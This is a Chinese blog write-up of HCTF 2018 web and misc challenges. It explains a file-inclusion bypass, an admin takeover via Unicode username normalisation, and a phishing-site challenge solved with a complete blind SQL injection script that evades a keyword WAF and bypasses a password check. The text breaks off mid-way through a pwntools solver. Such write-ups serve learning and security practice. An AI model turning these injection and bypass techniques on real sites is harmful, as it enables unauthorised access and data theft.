刚好过双11,购物节,光棍节。这么多节日一起过,当然是蹲在电脑前,玩玩CTF啊。
跟龙师傅一起玩了一下今年的 HCTF。排名第 20。真的太难了。强队太多了。
比赛平台入口地址: https://hctf.io/
Web - Warmup Description warmup URL http://warmup.2018.hctf.io Base Score 1000.00 Now Score 10 Team solved 266算是签到题吧。然后脑子坏掉了,想了挺久的。其实就是签到题的难度,很简单。
首先,网页源代码有两个关键点, /index.php?file=hint.php 是一个文件包含, source.php 是 index.php 的源代码。
hint.php :
提示,flag 在 ffffllllaaaagggg 里
source.php :
文件包含,有个检测,不过可以这样子绕过
猜测 flag 文件在根目录
Flag: hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}
Web - admin Description ch1p want to have new notes,so i write,hahaha URL http://admin.2018.hctf.io Base Score 1000.00 Now Score 327.52 Team solved 40任意注册一个帐号,并登录。
在 http://admin.2018.hctf.io/change 页面中能看到一段 HTML 注释,指向的是本项目的源代码地址。
<!-- https://github.com/woadsl1234/hctf_flask/ -->在 app/templates/index.html 文件中我们能看到满足下述条件的时候就会输出 flag
{% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1> {% endif %}重点关注 app/routes.py 文件,在我们输入用户名的时候,都进行了类似 strlower(form.username.data) 的操作,这里我就很奇怪了,为什么不直接用 form.username.data.lower() 来转小写呢
观察这个函数
def strlower(username): username = nodeprep.prepare(username) return username其中 nodeprep 来自 twisted.words.protocols.jabber.xmpp_stringprep
然后找到了这篇文章, Unicode 安全
大致意思是, nodeprep 会将 转换成 A 转换成 a
回到 app/routes.py 文件,在 register / login / change 这三个函数都有利用到这个有漏洞的函数
因此最后的思路是:
1. 注册 `dmin`,即注册了用户 `Admin` 2. 以用户 `Admin` 登录,即登录了 `admin` 用户 3. Get FlagFlag: hctf{un1c0dE_cHe4t_1s_FuNnying}
Web - kzone Description A script kid’s phishing website URL http://kzone.2018.hctf.io Base Score 1000.00 Now Score 361.29 Team solved 34一个QQ空间钓鱼站,扫描网站目录,可以扫到源代码 /www.zip
进行代码审计,可以在 /include/member.php 里找到漏洞点
漏洞一: $admin_user 没有进行过滤,存在注入点。
漏洞二:弱类型判断,令 $login_data['admin_pass'] = true ,即可使等式成立,绕过密码验证。可是 /include/member.php 不能单独加载,而 /include/common.php 会加载所有需要的 php 文件,包含 /include/member.php ,所以对 /include/common.php 进行注入即可。
另外, /include/common.php 也会加载 /include/safe.php ,这是一个 waf,会对 $_GET / $_POST / $_COOKIE 进行过滤。过滤函数如下:
function waf($string) { $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i'; return preg_replace_callback($blacklist, function ($match) { return '@' . $match[0] . '@'; }, $string); }那么注入时,想办法绕过就可以了。
可是, member.php 没有回显,没有报错,而且延时注入的关键词也被过滤了。那么怎样知道注入成功呢?
我们可以根据返回头是否含有 set-cookie 置空,来判断 SQL 返回结果 $udata['username'] 是否为空,进而确定是否注入成功(注入语句是否执行成功)。我注入只能得到 flag 所在的表名 F1444g ,列名 f1a9 是猜解出来的。
贴一下注入脚本:
import requests import json from urllib import quote url='http://kzone.2018.hctf.io/include/common.php' def check(text): if 'islogin' in str(text): return True return False def inject_len(sql): length=0 for i in range(256): payload=sql % (i+1) data={'admin_user':quote(payload),'admin_pass':True} cookies={'islogin':'1','login_data':json.dumps(data).replace(' ','')} r=requests.get(url,cookies=cookies) if check(r.headers): length=i+1 break return length def inject_val(sql,length): kw='' for i in range(1,length+1): match=0 for j in range(0x20,0x80): tmp=chr(j)+kw payload=sql % (i,tmp.encode('hex')) data={'admin_user':quote(payload),'admin_pass':True} cookies={'islogin':'1','login_data':json.dumps(data).replace(' ','')} r=requests.get(url,cookies=cookies) if check(r.headers): kw=chr(j)+kw print kw match=1 break if match==0: print 'err' break return kw # get table_name from mysql.innodb_table_stats length=inject_len("admin'/**/and/**/(strcmp(length(right((select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1),256)),%d))/**/and/**/'1") print 'column length: %d' % length kw=inject_val("admin'/**/and/**/(strcmp(right((select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1),%d),0x%s))/**/and/**/'1",length) print 'table name: %s' % kw # get f1a9 from F1444g length=inject_len("admin'/**/and/**/(strcmp(length(right((select/**/f1a9/**/from/**/F1444g),256)),%d))/**/and/**/'1") print 'column length: %d' % length kw=inject_val("admin'/**/and/**/(strcmp(right((select/**/f1a9/**/from/**/F1444g),%d),0x%s))/**/and/**/'1",length) print 'flag: %s' % kw.lower()最终得到 Flag
Flag: hctf{4526a8cbd741b3f790f95ad32c2514b9}
Misc - freq game Description this is a eazy game. nc 150.109.119.46 6775 URL http://example.com Base Score 1000.00 Now Score 349.43 Team solved 36题目只提供了一个 nc 地址。
输入 hint 可以得到程序的源代码,输入 y 运行这个程序。
贴一下这个程序的源代码:
程序是一个猜数字游戏,总共有 8 关,每关猜 4 个数字,猜错直接退出,猜对进入下一关,通关后输出 flag。
每关需要猜 4 个字节,总共 256^4=4,294,967,296 种情况,其中每关涉及 1500 个小数 4 次 sin 的运算,所以直接爆破不合理。
网上查了一下算法资料,找到 寻找和为定值的两个数
这个算法可以快速找到 数组里哪两个数的和为给定值 。那么,我们剩下两字节的数字,可以直接爆破,总共 256^2=65,525 种情况。
贴一下计算脚本:
from pwn import * import numpy as np import itertools io=remote('150.109.119.46',6775) io.sendlineafter('hint:','y') io.sendlineafter('token:','5UDJJ3940i4UbHizRdwlTihk682DvS2Y') def get_number(x, freq,rge): y = np.sin(2*np.pi*x*freq)*rge return y def find_sum(array, key): if len(array) > 0: array = sorted(array) start = 0 end = len(array) - 1 while start < end: result = array[start] + array[end] if result > key: end -= 1 elif result < key: start += 1 else: return [array[start], array[end]] return False def calc(): x = np.linspace(0,1,1500) t = eval(io.recvuntil(']')) table